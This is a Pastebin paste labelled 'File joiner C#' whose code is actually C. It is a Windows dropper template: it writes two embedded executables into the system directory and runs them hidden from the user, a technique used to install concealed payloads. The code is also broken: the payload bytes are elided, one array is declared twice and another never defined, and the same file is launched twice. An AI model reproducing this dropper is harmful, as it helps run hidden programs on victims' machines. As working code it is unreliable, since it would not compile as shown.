Advertisement
appo

File joiner C#

Jan 27th, 2014
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.96 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <process.h>
  4. #include <windows.h>
  5.  
  6. const unsigned char hex1[] = {0x4D,0x5A,...,0x5A};const unsigned char hex1[] = {0x4D,0x5A,...,0x6A};const unsigned int len1 = 65536;const unsigned int len2 = 76636;
  7.  
  8. int main()
  9.  
  10. { HANDLE file; char sysdir[MAX_PATH]; char newfile1[MAX_PATH]; char newfile2[MAX_PATH]; DWORD written;  GetSystemDirectory(sysdir, MAX_PATH); sprintf(newfile1, "%s\\%s", sysdir, "newfile1.exe"); sprintf(newfile2, "%s\\%s", sysdir, "newfile2.exe");  file = CreateFile(newfile1,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file,hex1,len1,&written,0); CloseHandle(file); ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);  file = CreateFile(newfile2,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file,hex2,len2,&written,0); CloseHandle(file); ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);  ExitProcess(0); return 0;}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement